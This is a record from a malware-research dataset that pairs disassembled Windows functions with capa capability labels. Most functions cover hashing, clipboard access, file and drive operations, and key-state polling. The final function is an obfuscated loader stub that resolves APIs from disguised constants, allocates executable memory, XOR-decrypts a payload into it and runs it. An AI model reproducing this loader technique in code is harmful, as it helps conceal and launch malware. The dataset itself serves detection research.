joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42bf62
Capabilities:
Hash data using sha256

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov ebx, edx
push 0x38
pop ebp
mov esi, dword [edi + 8]
and esi, 0x3f
mov byte [esi + edi + 0x40], 0x80
inc esi
cmp esi, ebp
jbe 0x42bfa3
push 0x40
pop ecx
cmp esi, ecx
je 0x42bf97
sub ecx, esi
lea eax, [edi + 0x40]
push ecx
add eax, esi
push 0
push eax
call fcn.00419160
add esp, 0xc
push 1
lea edx, [edi + 0x40]
lea ecx, [edi + 0x20]
call dword [edi]
xor esi, esi
sub ebp, esi
lea eax, [edi + 0x40]
push ebp
add eax, esi
push 0
push eax
call fcn.00419160
mov ecx, dword [edi + 8]
lea esi, [edi + 0x20]
mov eax, dword [edi + 0xc]
lea edx, [edi + 0x40]
shld eax, ecx, 3
add esp, 0xc
shl ecx, 3
bswap ecx
bswap eax
mov dword [edi + 0x7c], ecx
mov ecx, esi
push 1
mov dword [edi + 0x78], eax
call dword [edi]
push 4
pop edx
mov ecx, dword [esi + 4]
mov eax, dword [esi]
lea esi, [esi + 8]
bswap eax
mov dword [ebx], eax
lea ebx, [ebx + 8]
bswap ecx
mov dword [ebx - 4], ecx
sub edx, 1
jne 0x42bfdc
mov ecx, edi
pop edi
pop esi
pop ebp
pop ebx
jmp 0x42c390

Function at 0x42c384
Capabilities:
Hash data using sha256

Disassembly:
mov eax, dword [0x45a780]
mov dword [ecx], eax
jmp 0x42c390
and dword [ecx + 8], 0
and dword [ecx + 0xc], 0
mov dword [ecx + 0x20], 0x6a09e667
mov dword [ecx + 0x24], 0xbb67ae85
mov dword [ecx + 0x28], 0x3c6ef372
mov dword [ecx + 0x2c], 0xa54ff53a
mov dword [ecx + 0x30], 0x510e527f
mov dword [ecx + 0x34], 0x9b05688c
mov dword [ecx + 0x38], 0x1f83d9ab
mov dword [ecx + 0x3c], 0x5be0cd19
ret

Function at 0x42c857
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
lea eax, [ebp - 4]
xor edi, edi
push eax
push edi
push dword [ebp + 8]
mov esi, ecx
push edx
push edi
push edi
call fcn.0041a6d4
add esp, 0x18
mov dword [esi], eax
test eax, eax
jne 0x42c881
call fcn.0042c7fa
mov edi, eax
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x42e389
Capabilities:
Open clipboard

Disassembly:
push 0x1c
mov eax, 0x447802
call fcn.00422068
mov esi, edx
and dword [ebp - 4], 0
push ecx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
setne al
mov byte [ebp - 0xd], al
test al, al
je 0x42e447
call dword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
je 0x42e447
mov eax, dword [esi + 4]
mov edx, dword [esi]
lea eax, [eax*2 + 2]
push eax
push 0xd
pop ecx
call fcn.0042e459
push 0
mov edx, esi
lea ecx, [ebp - 0x1c]
mov bl, al
call fcn.0042dd79
xor eax, eax
inc eax
mov byte [ebp - 4], al
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
inc ecx
push ecx
mov ecx, eax
call fcn.0042e459
push 1
pop edi
test al, al
movzx ebx, bl
push edi
mov edx, esi
lea ecx, [ebp - 0x28]
cmovne ebx, edi
call fcn.0042dd79
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call fcn.0042d531
push dword [ebp - 0x28]
call fcn.00416729
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
inc eax
pop ecx
push eax
push 7
pop ecx
call fcn.0042e459
push dword [ebp - 0x1c]
test al, al
movzx ebx, bl
cmovne ebx, edi
call fcn.00416729
pop ecx
jmp 0x42e449
xor bl, bl
lea ecx, [ebp - 0xd]
call fcn.0042e4c2
mov al, bl
call fcn.00422042
ret
Function at 0x42e459
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
mov edi, ecx
xor ebx, ebx
push ecx
lea ecx, [ebp - 4]
mov dword [ebp - 4], ebx
mov esi, edx
call fcn.00430d27
test al, al
je 0x42e4af
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x42e4af
push dword [ebp + 8]
push esi
push eax
call fcn.00423d60
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp - 4]
push edi
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
je 0x42e4af
mov dword [ebp - 4], ebx
mov bl, 1
lea ecx, [ebp - 4]
call fcn.00430d0a
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x42efc8
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x344
lea ebp, [esp - 4]
mov eax, dword [0x45a008]
xor eax, ebp
mov dword [ebp + 0x344], eax
push 0x10
mov eax, 0x44792a
call fcn.00422068
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [esi]
xor ebx, ebx
xor ecx, ecx
mov dword [esi + 4], ebx
mov edi, 0x114
mov word [eax], cx
cmp byte [0x45c1b1], cl
jne 0x42f05b
lea eax, [ebp + 0x22c]
mov byte [ebp + 0x22c], bl
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x42f054
cmp eax, edi
jae 0x42f054
lea edx, [ebp + 0x22c]
mov byte [ebp + 0x340], bl
lea ecx, [ebp - 0x1c]
call fcn.0042ccfb
push eax
mov ecx, esi
mov dword [ebp - 4], ebx
call fcn.0042da78
push dword [ebp - 0x1c]
call fcn.00416729
mov al, 1
jmp 0x42f0f5
xor al, al
jmp 0x42f0f6
xor eax, eax
mov word [ebp], ax
lea eax, [ebp]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov esi, eax
test esi, esi
je 0x42f054
cmp esi, edi
jae 0x42f08f
mov ecx, dword [ebp - 0x10]
xor eax, eax
mov word [ebp + 0x228], ax
lea eax, [ebp]
push eax
call fcn.0042d9e3
mov al, 1
jmp 0x42f0f6
lea ecx, [ebp - 0x1c]
call fcn.0042d9bf
mov dword [ebp - 4], 1
cmp esi, dword [ebp - 0x14]
jbe 0x42f0ac
push esi
lea ecx, [ebp - 0x1c]
call fcn.0042d465
mov edi, dword [ebp - 0x1c]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, eax
test ecx, ecx
je 0x42f0ed
xor eax, eax
mov word [edi + esi*2], ax
mov eax, ebx
cmp word [edi], bx
je 0x42f0d1
inc eax
cmp word [edi + eax*2], bx
jne 0x42f0ca
mov dword [ebp - 0x18], eax
cmp eax, ecx
jne 0x42f0ed
lea eax, [esi - 1]
cmp eax, ecx
jne 0x42f0ed
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x1c]
push eax
call fcn.0042da78
mov bl, 1
push edi
call fcn.00416729
mov al, bl
pop ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x344]
xor ecx, ebp
call fcn.00416718
lea esp, [ebp + 0x348]
pop ebp
ret
Function at 0x42f124
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, ecx
call fcn.0042fff3
cmp eax, 0xffffffff
je 0x42f151
mov edx, eax
and dl, 0x11
cmp dl, 1
jne 0x42f151
and eax, 0xfffffffe
mov ecx, esi
mov edx, eax
call fcn.0042f483
test al, al
je 0x42f18a
cmp byte [0x45c1b1], 0
jne 0x42f17f
mov edx, esi
lea ecx, [ebp - 0xc]
call fcn.0042cd2a
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00416729
pop ecx
test esi, esi
je 0x42f18a
mov al, 1
jmp 0x42f18c
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jmp 0x42f179
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x42f2d6
Capabilities:
Create directory

Disassembly:
push 0x44
mov eax, 0x447985
call fcn.00422068
mov edi, ecx
cmp byte [0x45c1b1], 0
jne 0x42f315
mov edx, edi
lea ecx, [ebp - 0x18]
call fcn.0042cd2a
xor ebx, ebx
push ebx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push dword [ebp - 0x18]
mov esi, eax
call fcn.00416729
pop ecx
test esi, esi
je 0x42f323
mov al, 1
jmp 0x42f369
xor ebx, ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jmp 0x42f30f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x42f334
xor al, al
jmp 0x42f369
lea ecx, [ebp - 0x50]
call fcn.0042fbd4
lea ecx, [ebp - 0x28]
call fcn.0042d9bf
push ebx
push edi
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], ebx
call fcn.0042fbf5
test al, al
je 0x42f35e
mov ebx, dword [ebp - 0x30]
shr ebx, 4
and bl, 1
push dword [ebp - 0x28]
call fcn.00416729
pop ecx
mov al, bl
call fcn.00422042
ret

Function at 0x42f36f
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x45c1b1], 0
jne 0x42f3a7
mov edx, ecx
lea ecx, [ebp - 0xc]
push esi
call fcn.0042cd2a
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00416729
pop ecx
test esi, esi
pop esi
je 0x42f3b4
mov al, 1
jmp 0x42f3b6
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jmp 0x42f3a1
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x42f423
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x45c1b1], 0
jne 0x42f459
mov edx, ecx
lea ecx, [ebp - 0xc]
push esi
call fcn.0042cd2a
push dword [eax]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00416729
pop ecx
test esi, esi
pop esi
je 0x42f464
mov al, 1
jmp 0x42f466
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jmp 0x42f453
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x42f483
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x45c1b1], 0
push esi
mov esi, edx
jne 0x42f4bb
mov edx, ecx
lea ecx, [ebp - 0xc]
call fcn.0042cd2a
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00416729
pop ecx
test esi, esi
je 0x42f4c7
mov al, 1
jmp 0x42f4c9
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jmp 0x42f4b5
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x42f52c
Capabilities:
Get disk information

Disassembly:
push 0x30
mov eax, 0x4479eb
call fcn.00422068
mov ebx, ecx
mov dword [ebp - 0x10], ebx
call fcn.00401407
cmp byte [0x45c1b1], 0
jne 0x42f618
mov ecx, ebx
call fcn.00401407
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
jne 0x42f570
xor al, al
jmp 0x42f6e1
push edi
call fcn.00416831
mov esi, eax
pop ecx
mov dword [ebp - 0x24], esi
push esi
push edi
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov edi, eax
mov dword [ebp - 0x20], edi
test edi, edi
je 0x42f6d8
cmp edi, dword [ebp - 0x1c]
ja 0x42f6d8
lea ecx, [ebp - 0x30]
call fcn.0042d8c8
mov byte [ebp - 4], 1
test edi, edi
je 0x42f611
xor eax, eax
mov dword [ebp - 0x18], edi
inc eax
mov ecx, edi
mov dword [ebp - 0x14], eax
cmp byte [esi + eax - 1], 0
jne 0x42f602
lea eax, [ebx + esi]
push eax
lea ecx, [ebp - 0x30]
call fcn.0042dad6
mov ebx, dword [ebp - 0x14]
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x3c]
call fcn.0042cccc
mov edi, eax
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.004014b2
mov ecx, dword [ebp - 0x10]
push edi
call fcn.00401473
mov byte [ebp - 4], 1
push dword [ebp - 0x3c]
call fcn.00416729
pop ecx
mov ecx, dword [ebp - 0x18]
mov eax, ebx
inc eax
sub ecx, 1
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
jne 0x42f5b8
mov edi, dword [ebp - 0x20]
cmp ebx, edi
jmp 0x42f6cc
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov edi, eax
mov dword [ebp - 0x20], edi
test edi, edi
je 0x42f569
xor ecx, ecx
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00416831
mov esi, eax
pop ecx
mov dword [ebp - 0x24], esi
push esi
push edi
mov dword [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov edi, eax
test edi, edi
je 0x42f6d8
cmp edi, dword [ebp - 0x20]
ja 0x42f6d8
lea ecx, [ebp - 0x30]
call fcn.0042d9bf
mov byte [ebp - 4], 4
mov edx, ebx
mov dword [ebp - 0x1c], edx
mov ecx, ebx
mov dword [ebp - 0x14], ecx
test edi, edi
je 0x42f6ca
push 2
pop eax
mov dword [ebp - 0x18], eax
cmp word [esi + eax - 2], bx
jne 0x42f6b9
lea eax, [edx + esi]
push eax
lea ecx, [ebp - 0x30]
call fcn.0042d9e3
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x1c], eax
call fcn.004014b2
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x30]
push eax
call fcn.00401473
mov eax, dword [ebp - 0x18]
mov edx, eax
mov ecx, dword [ebp - 0x14]
inc ecx
add eax, 2
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], eax
cmp ecx, edi
jb 0x42f683
mov edx, dword [ebp - 0x1c]
cmp edx, edi
push dword [ebp - 0x30]
sete bl
call fcn.00416729
pop ecx
push esi
call fcn.00416729
mov al, bl
pop ecx
call fcn.00422042
ret
Function at 0x42fff3
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x45c1b1], 0
jne 0x430025
mov edx, ecx
lea ecx, [ebp - 0xc]
push esi
call fcn.0042cd2a
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00416729
pop ecx
mov eax, esi
pop esi
jmp 0x430036
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, eax
mov eax, ecx
mov esp, ebp
pop ebp
ret

Function at 0x430485
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4304af
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x4304af
xor al, al
jmp 0x4304c3
mov eax, dword [ebp + 8]
xor ecx, ecx
mov edx, dword [ebp - 4]
add ecx, esi
adc edx, 0
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x4337ad
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
mov eax, ecx
push ebx
push ebp
push esi
push edi
cmp edx, 0xffffffff
je 0x43388f
mov ecx, dword [eax + 0x78]
mov eax, dword [eax + 0x7c]
and dword [esp + 0x34], 0
add eax, dword [ecx + edx*4]
mov dword [esp + 0x2c], eax
mov eax, dword [ecx + edx*4 + 4]
sub eax, dword [ecx + edx*4]
lea ecx, [esp + 0x2c]
mov dword [esp + 0x30], eax
call fcn.00435d0a
mov ebx, eax
test ebx, ebx
jmp 0x433885
lea ecx, [esp + 0x2c]
call fcn.00435cf2
mov esi, dword [esp + 0x34]
xorps xmm0, xmm0
mov ecx, dword [esp + 0x2c]
movzx ebp, al
movlpd qword [esp + 0x20], xmm0
mov edi, dword [esp + 0x24]
mov byte [esp + 0x3c], al
lea ecx, [esi + ecx]
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x18], 0
and ebp, 0xf
jbe 0x43385a
mov esi, dword [esp + 0x18]
mov ebx, dword [esp + 0x1c]
movzx eax, byte [esi + ebx]
shld edi, ecx, 8
cdq
shl ecx, 8
or edi, edx
or eax, ecx
inc esi
mov ecx, eax
cmp esi, ebp
jb 0x433837
mov esi, dword [esp + 0x34]
mov ebx, dword [esp + 0x14]
mov al, byte [esp + 0x3c]
add esi, ebp
mov dword [esp + 0x34], esi
cmp ecx, 0x6f10701
jne 0x43386c
test edi, edi
je 0x43389b
test al, 0x20
je 0x433882
lea ecx, [esp + 0x2c]
call fcn.00435d0a
and dword [esp + 0x24], 0
add dword [esp + 0x34], eax
sub ebx, 1
mov dword [esp + 0x14], ebx
jne 0x4337f2
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret 4
mov al, 1
jmp 0x433891
Function at 0x437deb
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x14]
push edi
xor edi, edi
test esi, esi
je 0x437dfb
mov dword [esi], edi
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x437e41
push edi
lea ecx, [ebp + 0x14]
push ecx
mov ecx, 0x8000
cmp eax, ecx
cmovae eax, ecx
push eax
push dword [ebp + 0xc]
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0x14]
add dword [ecx + 8], edx
adc dword [ecx + 0xc], edi
test esi, esi
je 0x437e36
add dword [esi], edx
test eax, eax
jne 0x437e41
call fcn.00438303
mov edi, eax
mov eax, edi
pop edi
pop esi
pop ebp
ret 0x10
Function at 0x441a40
Capabilities:
Log keystrokes via polling

Disassembly:
push esi
push 0x11
mov esi, ecx
call dword [sym.imp.USER32.dll_GetKeyState]
mov edx, dword [esp + 8]
shr eax, 0xf
and al, 1
movzx ecx, word [edx + 0xc]
cmp ecx, 8
je 0x441a81
cmp ecx, 0x52
je 0x441a70
cmp ecx, 0x76
jne 0x441a7d
mov ecx, esi
call fcn.00440fa5
jmp 0x441a88
test al, al
je 0x441a7d
mov ecx, esi
call fcn.004411ab
jmp 0x441a88
xor al, al
jmp 0x441a8a
mov ecx, esi
call fcn.00441140
mov al, 1
pop esi
ret 4
Function at 0x4430c7
Capabilities:
Get file system object information

Disassembly:
push 0x1c8
mov eax, 0x4498b0
call fcn.0042209c
mov ebx, ecx
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x1c8]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x1a4], eax
call fcn.0042d9bf
and dword [ebp - 4], 0
cmp byte [edi], 0
je 0x44314a
push dword [edi + 0xc]
lea ecx, [ebp - 0x1b0]
push dword [edi + 8]
call fcn.00443041
push eax
mov edx, 0xdb0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1bc]
call fcn.00443087
push eax
lea ecx, [ebp - 0x1c8]
mov byte [ebp - 4], 2
call fcn.0042da78
push dword [ebp - 0x1bc]
call fcn.00416729
pop ecx
mov byte [ebp - 4], 0
push dword [ebp - 0x1b0]
call fcn.00416729
pop ecx
lea eax, [edi + 0x18]
mov ecx, eax
mov dword [ebp - 0x1a0], eax
call fcn.0042cf70
mov esi, eax
lea eax, [ebp - 0x1bc]
lea ecx, [esi + 1]
push ecx
push eax
lea ecx, [edi + 0x18]
call fcn.00403442
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1b0]
mov eax, dword [edi + 0x18]
add eax, 2
lea eax, [eax + esi*2]
push eax
call fcn.0042db26
lea eax, [ebp - 0x1bc]
mov byte [ebp - 4], 4
push eax
mov ecx, ebx
call fcn.0044331a
lea eax, [ebp - 0x1b0]
mov ecx, ebx
push eax
call fcn.0044331a
lea eax, [ebp - 0x1bc]
push eax
lea ecx, [ebp - 0x19c]
call fcn.0042da4a
lea ecx, [ebp - 0x19c]
mov byte [ebp - 4], 5
call fcn.0042d0d8
lea eax, [ebp - 0x1b0]
push eax
lea ecx, [ebp - 0x19c]
call fcn.0042d059
lea ecx, [ebp - 0x19c]
call fcn.0042d0d8
lea eax, [ebp - 0x1c8]
push eax
lea ecx, [ebp - 0x19c]
call fcn.0042d059
lea ecx, [ebp - 0x19c]
call fcn.0042d0d8
cmp byte [edi + 1], 0
je 0x443267
mov edx, 0x3f4
lea ecx, [ebp - 0x1d4]
call fcn.004311fe
push eax
lea ecx, [ebp - 0x19c]
mov byte [ebp - 4], 6
call fcn.0042d059
mov byte [ebp - 4], 5
push dword [ebp - 0x1d4]
call fcn.00416729
lea ecx, [ebp - 0x19c]
mov dword [esp], 0x450590
call fcn.0042d00d
push 0
lea eax, [ebp - 0x30]
push eax
lea ecx, [edi + 0x10]
call fcn.00430fab
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x19c]
call fcn.0042d00d
push dword [ebp + 8]
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
push dword [ebx + 4]
call edi
mov edx, dword [ebp - 0x19c]
mov ecx, eax
call fcn.00431980
mov edx, dword [ebp - 0x1a0]
lea ecx, [ebp - 0x1d4]
call fcn.00401a0f
push pe_nt_image_headers32
push 0x160
lea ecx, [ebp - 0x190]
push ecx
push 0x80
push dword [eax]
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
push dword [ebp - 0x1d4]
mov esi, eax
call fcn.00416729
pop ecx
test esi, esi
je 0x4432e2
push dword [ebp - 0x1a4]
push dword [ebx + 4]
call edi
push 0
push dword [ebp - 0x190]
push 0x170
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
push dword [ebp - 0x19c]
call fcn.00416729
pop ecx
push dword [ebp - 0x1b0]
call fcn.00416729
pop ecx
push dword [ebp - 0x1bc]
call fcn.00416729
pop ecx
push dword [ebp - 0x1c8]
call fcn.00416729
pop ecx
call fcn.00422057
ret 0xc
Function at 0x443894
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
sub esp, 0x28
mov eax, dword [edx]
push esi
mov esi, ecx
cmp eax, dword [esi + 0xb4]
jne 0x4438c7
cmp dword [edx + 8], 0xffffff65
jne 0x4438c7
movzx eax, word [edx + 0xc]
sub eax, 0x2d
je 0x443903
sub eax, 0x14
je 0x4438d0
dec eax
sub eax, 1
je 0x443903
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 8
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
je 0x4438c7
push 2
pop eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x28]
push eax
push 0xffffffffffffffff
push 0x102b
push dword [esi + 0xb4]
call dword [sym.imp.USER32.dll_SendMessageA]
mov al, 1
jmp 0x4438c9
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
je 0x4438c7
mov ecx, esi
call fcn.004437a4
jmp 0x4438ff
Function at 0x445ae7
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x168
mov eax, dword [0x45a008]
xor eax, esp
mov dword [esp + 0x164], eax
test cl, cl
mov edx, 0x4011
mov eax, 0x4110
cmovne eax, edx
push eax
push 0x160
lea eax, [esp + 8]
push eax
push 0x90
push 0x44f854
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov ecx, dword [esp + 0x164]
xor ecx, esp
call fcn.00416718
mov esp, ebp
pop ebp
ret

Function at 0x445b3d
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2d0
mov eax, dword [0x45a008]
xor eax, esp
mov dword [esp + 0x2cc], eax
cmp byte [0x45c1b1], 0
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, edx
jne 0x445ba0
mov edx, ecx
lea ecx, [esp + 0xc]
call fcn.0042cd2a
push 0x4010
push 0x160
lea ecx, [esp + 0x20]
or esi, 0x80
push ecx
push esi
push dword [eax]
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
push dword [esp + 0xc]
mov esi, eax
call fcn.00416729
pop ecx
mov eax, esi
jmp 0x445bb4
push ecx
push ecx
lea eax, [esp + 0x20]
or esi, 0x80
push eax
mov edx, esi
call fcn.00445ac9
mov ecx, dword [esp + 0x1c]
mov dword [edi], ecx
mov ecx, dword [esp + 0x2d4]
pop edi
pop esi
xor ecx, esp
call fcn.00416718
mov esp, ebp
pop ebp
ret 4

Function at 0x446295
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push edi
push eax
push ecx
mov esi, edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4462c1
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x4462c1
xor al, al
jmp 0x4462d2
mov ecx, dword [ebp - 4]
xor eax, eax
add eax, edi
mov dword [esi], eax
mov al, 1
adc ecx, 0
mov dword [esi + 4], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x409825
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x409834
pop dword [ebp - 0x28]
mov eax, 0xfe821622
add eax, 0x1be8212
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x12c8b9c8
add dword [ebp - 0x38], 0x3b898b83
mov dword [ebp - 0x34], 0x7219c394
sub dword [ebp - 0x34], 0x3fe6774f
mov dword [ebp - 0x30], 0xfe4c324d
add dword [ebp - 0x30], 0x4e0011e1
mov dword [ebp - 0x2c], 0x4e198c1e
add dword [ebp - 0x2c], 0xb1e673e2
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x4129a799
add dword [ebp - 0x38], 0x3348c1bd
mov dword [ebp - 0x34], 0x30f5d39f
add dword [ebp - 0x34], 0x10768dd6
mov dword [ebp - 0x30], 0x5b17f788
add dword [ebp - 0x30], 0x85774e4
mov dword [ebp - 0x2c], 0x9a6928ba
sub dword [ebp - 0x2c], 0x9a6928ba
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x60d36870
add eax, 0x9f6ec8b4
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3d909
push 0
call eax
mov ecx, 0xae343f34
sub ecx, 0xae33f808
xor ebx, ebx
add ebx, eax
mov edi, 0x3ccd4f2c
add edi, 0xc375f4d4
add edi, dword [ebp - 0x28]
mov edx, 0xfedc584
sub edx, 0x19ac9ead
mov dword [ebp - 0x10], 0xd79765da
mov esi, dword [edi]
sub dword [ebp - 0x1c], 0x891dca35
xor esi, edx
add dword [ebp - 0x14], 0x9ecf8134
mov dword [ebx], esi
sub dword [ebp - 0x14], eax
add ebx, 0x8de78145
sub ebx, 0x8de78141
add edi, 0xcc566d89
add edi, 0x33a9927b
loop 0x409953
add eax, 0x10f83
mov ebx, eax
add eax, 0x48d3006b
sub eax, 0x48d30066
mov ecx, 0x947b9112
add ecx, 0x6bc46eee
add ecx, dword [ebp - 0x28]
call ebx
leave
ret